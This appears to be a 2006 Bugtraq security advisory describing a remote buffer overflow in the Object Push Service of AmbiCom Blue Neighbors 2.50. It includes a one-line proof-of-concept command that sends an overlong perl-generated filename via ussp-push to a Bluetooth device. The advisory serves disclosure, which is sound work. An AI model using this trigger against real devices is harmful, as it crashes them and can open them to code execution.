AmbiCom Blue Neighbors Bluetooth Stack Object Push Buffer Overflow Vulnerability

Bugtraq ID:	16258
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 16 2006 12:00AM
Updated:	Jan 16 2006 12:00AM
Credit:	Kevin Finisterre discovered this issue.
Vulnerable:	AmbiCom Blue Neighbors 2.50 build 2500
Not Vulnerable:

AmbiCom Blue Neighbors Bluetooth Stack Object Push Buffer Overflow Vulnerability

AmbiCom Blue Neighbors Bluetooth stack is prone to a buffer overflow vulnerability. The issue exists in the Object Push Service.

This issue allows remote attackers to execute arbitrary code in the context of the vulnerable application. Failed exploitation attempts likely result in the application or device crashing.

AmbiCom Blue Neighbors Bluetooth Stack Object Push Buffer Overflow Vulnerability

A proof of concept command to trigger this issue has been provided:

ussp-push 00:10:7A:5C:04:92@1 B `perl -e 'print "A" x 261 . "ZZ"'`

--
Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

AmbiCom Blue Neighbors Bluetooth Stack Object Push Buffer Overflow Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

AmbiCom Blue Neighbors Bluetooth Stack Object Push Buffer Overflow Vulnerability

References:

• AmbiCom Bluetooth Home Page (AmbiCom)